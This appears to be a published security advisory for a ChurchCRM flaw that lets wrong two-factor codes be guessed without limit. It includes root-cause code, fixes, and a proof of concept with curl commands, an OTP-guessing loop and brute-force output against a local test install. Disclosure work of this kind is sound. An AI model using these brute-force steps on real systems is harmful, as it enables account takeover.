CVE-2026-94470churchcrm/crm Improper Restriction of Excessive Authentication Attempts
NVD
Vulnerability Summary
1. Summary `userLogin` rejects a wrong TOTP code at `src/api/routes/public/public-user.php:110-113` without incrementing `usr_FailedLogins`, and `LocalAuthentication::authenticate` does the same at `src/ChurchCRM/Authentication/AuthenticationProviders/LocalAuthentication.php:176-181`. The counter is written only on the wrong-password branches (`public-user.php:83`, `LocalAuthentication.php:139`), so the shipped lockout (`iMaxFailedLogins`, default 5) restrains guessing of the first factor and not the second. An attacker who already has a valid password can therefore guess the 6-digit code without limit on either the API or the browser flow. The nearest existing control is `isLocked()`, checked at `public-user.php:75` and `LocalAuthentication.php:130`. It runs before password validation and is never reached again once the password is correct, so it cannot restrain the second factor. 164,288 unaided guesses at 77.8 requests per second, over 35 minutes, return the victim's API key. `usr_FailedLogins` does not rise above 0 across those attempts. 2. Severity / CVSS `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` — 9.8 (Critical) - `PR:N`: the attacker holds a password but no account of their own; `/api/public/*` is exempt from `AuthMiddleware` (`AuthMiddleware.php:24`). - `AC:L`: no race and no configuration guess. The only input is the code space, and the measured rate puts success inside an hour. - `C:H/I:H/A:H` assumes an administrator target, the account most likely to have 2FA enabled. For a low-privilege target, `C:L/I:L/A:N`, 6.5. Claimed: 9.8. - Throughput is bounded by the target's request handling, not by the application; 77.8/s is what one host sustained over 16 connections. Preconditions: attacker knows the victim's password; victim has enrolled in 2FA. Shipped `iMaxFailedLogins` of 5 unchanged (`src/ChurchCRM/dto/SystemConfig.php:144`). CWE-307 Improper Restriction of Excessive Authentication Attempts. CWE-308 Reliance on Single Factor Authentication. 3. Affected component - `src/api/routes/public/public-user.php:110-113` `userLogin`, sink: OTP rejection branch logs and throws, no counter write - `src/api/routes/public/public-user.php:83-84`, intent: the wrong-password branch on the same endpoint does increment and save - `src/api/routes/public/public-user.php:75-78`, gate: `isLocked()` is consulted once, before the password check - `src/ChurchCRM/Authentication/AuthenticationProviders/LocalAuthentication.php:176-181`, same defect on the browser flow - `src/ChurchCRM/Authentication/AuthenticationProviders/LocalAuthentication.php:139-140`, intent: wrong-password branch increments and saves - `src/ChurchCRM/model/ChurchCRM/User.php:788-810` `isTwoFACodeValid`, verifier: Google2FA `verifyKeyNewer` with `$window = 2` - `src/ChurchCRM/model/ChurchCRM/User.php:478-481` `isLocked`, the control that is never re-evaluated - `src/api/routes/public/public-user.php:120-121`, the only counter reset, on full success Affected versions: 7.6.0 confirmed, the latest release at the time of testing, commit `24869b1e6f5e9b4ac5cfb75c4817095755042320`. Lower bound not bisected. Environment: stock `docker/docker-compose.dev.yaml` — PHP 8.4, MariaDB 10.11.18, Apache — at `http://localhost:8099`. Shipped defaults throughout, `iMaxFailedLogins` at 5; no application source modified. 4. Root cause Two facts combine. 1. The counter is written only for the password factor. Both providers increment inside the `isPasswordValid()` failure branch and nowhere else. ```php } elseif (!$this->currentUser->isPasswordValid($AuthenticationRequest->password)) { $this->currentUser->setFailedLogins($this->currentUser->getFailedLogins() + 1); // LocalAuthentication.php:139 ``` 2. The second-factor rejection is a log statement. No counter write, no `isLocked()` re-check, no delay. ```php if (!$otpValid && !$recoveryValid) { $logger->warning('API login: invalid 2FA code', ['username' => $user->getUserName()]); throw new HttpUnauthorizedException($request, $genericError); // public-user.php:110-113 } ``` ```php } else { LoggerUtils::getAuthLogger()->info('Invalid 2FA code provided by partially authenticated user', $logCtx); $authenticationResult->isAuthenticated = false; // LocalAuthentication.php:176-181 ``` Recovery codes share the branch (`public-user.php:108`, `LocalAuthentication.php:171`) and are therefore guessable through the same loop. Guard works where applied; `isLocked()` at `public-user.php:75` runs before password validation and is not re-entered once the password is correct. 5. Impact - Full second-factor bypass. 164,288 guesses in 2112.1 s returned `{"apiKey":"..."}` for an account with 2FA enabled. - Sustained rate with no degradation. 77.8 requests per second across 16 connections, flat for the whole run. Exhausting the 6-digit space at that rate is 3.6 hours worst case, but `verifyKeyNewer` with `$window = 2` accepts a five-code band, putting the expected cost near 200,000 guesses, about 43 minutes. The recorded run succeeded at 164,288 guesses in 35 minutes. - Lockout never engages. `usr_FailedLogins` read 0 after 164,288 wrong codes and 0 after a further 105 in the reproduction below. - Both entry points. API (`/api/public/user/login`) and browser (`/session/two-factor`) are independently affected. - Output is a long-lived credential. The API path returns `usr_ApiKey`, which `APITokenAuthentication` accepts on later requests without any 2FA re-check. - Remediation does not evict the attacker. `updatePassword` (`src/ChurchCRM/model/ChurchCRM/User.php:392-395`) sets only the password hash. Measured: `POST /admin/api/user/901/password/reset` returned `{"success":true}`, and the API key captured beforehand still returned 200 on `/api/persons/roles` afterwards. 6. Proof of Concept Test account `noperm.user` with 2FA enrolled. The brute-force script is given the username and password only; it does not read the TOTP secret. A. Account has 2FA enabled ``` $ curl -s -o /dev/null -D - -X POST http://localhost:8099/session/begin \ --data-urlencode 'User=noperm.user' --data-urlencode 'Password=changeme' HTTP/1.1 302 Found Location: /session/two-factor ``` B. API login returns the challenge ``` $ curl -s -X POST http://localhost:8099/api/public/user/login \ -H 'Content-Type: application/json' \ -d '{"userName":"noperm.user","password":"changeme"}' {"requiresOTP":true} HTTP 202 ``` C. 100 wrong codes on the API path ``` $ for i in $(seq -w 1 100); do curl -s -o /dev/null -X POST \ http://localhost:8099/api/public/user/login -H 'Content-Type: application/json' \ -d "{\"userName\":\"noperm.user\",\"password\":\"changeme\",\"otp\":\"0000$i\"}"; done $ mysql churchcrm -N -e "SELECT usr_FailedLogins FROM user_usr WHERE usr_per_ID=901;" 0 ``` D. 5 wrong codes on the browser path ``` Location: /session/two-factor?invalid=1 Location: /session/two-factor?invalid=1 Location: /session/two-factor?invalid=1 Location: /session/two-factor?invalid=1 Location: /session/two-factor?invalid=1 $ mysql churchcrm -N -e "SELECT usr_FailedLogins FROM user_usr WHERE usr_per_ID=901;" 0 ``` E. Control — the same endpoint does count wrong passwords ``` $ for i in 1 2 3; do curl -s -o /dev/null -X POST \ http://localhost:8099/api/public/user/login -H 'Content-Type: application/json' \ -d "{\"userName\":\"noperm.user\",\"password\":\"wrong$i\"}"; done $ mysql churchcrm -N -e "SELECT usr_FailedLogins FROM user_usr WHERE usr_per_ID=901;" 3 $ mysql churchcrm -N -e "UPDATE user_usr SET usr_FailedLogins=5 WHERE usr_per_ID=901;" $ curl -s -w ' HTTP %{http_code}\n' -X POST http://localhost:8099/api/public/user/login \ -H 'Content-Type: application/json' \ -d '{"userName":"noperm.user","password":"changeme"}' {"error":"Invalid login or password","code":401,...} HTTP 401 ``` At the threshold the correct password is refused. The second factor has no equivalent state. F. Unaided brute force to takeover `2fa-bruteforce.py` shuffles all 10^6 codes, posts them over 16 connections, and stops on HTTP 200. ``` $ python3 2fa-bruteforce.py [ 2020.7s] 158000 attempts 78.2/s [ 2048.6s] 160000 attempts 78.1/s [ 2077.7s] 162000 attempts 78.0/s [ 2106.2s] 164000 attempts 77.9/s attempts=164288 elapsed_s=2112.1 otp=281934 response={"apiKey":"noPermUserApiKeyForTesting123456789012345678"} ``` A through E reproduced at commit `24869b1e`; F is the recorded output of the script run at the same commit. 7. Recommended fix 1. `public-user.php:110-113`: increment and persist before throwing, mirroring `:83-84`. ```php if (!$otpValid && !$recoveryValid) { $user->setFailedLogins($user->getFailedLogins() + 1); $user->save(); throw new HttpUnauthorizedException($request, $genericError); } ``` 2. `LocalAuthentication.php:176-181`: same increment and save in the else branch, and re-check `isLocked()` before accepting a code. 3. `public-user.php:98-104`: treat the `requiresOTP` challenge as a countable attempt too, or bind it to a short-lived server-side token, so the counter cannot be sidestepped by restarting the flow. 4. Track OTP failures in a column separate from `usr_FailedLogins` if operators should not have password failures and code failures share one threshold. 5. `User.php:392-395`: rotate `usr_ApiKey` in `updatePassword`, so a password reset revokes a stolen key. Fixes 1 and 2 are the defect; either alone closes only its own entry point, so both are required. Fixes 3 and 4 are hardening. Fix 5 makes remediation effective for anyone already compromised. 8. Distinction from prior advisories - `GHSA-8cwr-x83m-mh9x` (CVE-2026-40582): the API login handler performed no 2FA and no lockout check at all, returning `getApiKey()` straight after `isPasswordValid()`. 7.6.0 has both checks (`public-user.php:75`, `:98`). This is the OTP-failure branch of that fixed handler omitting the counter write, so restoring those checks does not affect it. - `GHSA-cwp8-rm8g-q5c9`: the CVE-2026-40582 hardening stripped from 7.2.x before release, evidenced by `isLocked`, `setFailedLogins` and `is2FactorAuthEnabled` being absent from the file. All three are present in 7.6.0. That advisory also states the browser path "does enforce `isLocked()`, `is2FactorAuthEnabled()`, and `usr_FailedLogins` accounting"; section 6.D is a counter-example for the second factor. - No other advisory among the 97 published concerns throttling of authentication attempts. `GHSA-x2qh-xmhq-4jpx` covers username enumeration on the same endpoint and `GHSA-3j8q-fwpj-f8j5` a `uniqid()` password-reset token; neither touches OTP verification.
CVSS v3.1 Base Metrics — Score 9.8
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HAttack VectorNetwork
Attack ComplexityLow
Privileges RequiredNone
User InteractionNone
ScopeUnchanged
ConfidentialityHigh
IntegrityHigh
AvailabilityHigh
Affected & Patched Versions
- churchcrm/crm 7.5.1
- churchcrm/crm 7.6.0
What to do
Prioritize this fix. Exploit code is public, so attacks can follow quickly.
- Check whether you run churchcrm/crm and which version.
- Update to a patched version listed above, then confirm the new version.
- Review logs and exposed services for signs of earlier compromise.
Timeline
- Aug 10, 2026Published
- Aug 10, 2026Record last modified
Score, severity and exploitation changes are tracked from the day Watchtower started logging them.
Get notified about new churchcrm/crm CVEsYou are reading CVE-2026-94470. Get an email when KEV listings, exploits or new CVEs match your stack.
Set up CVE alertsExternal References
Data last checked: Nov 25, 2026 14:01 UTC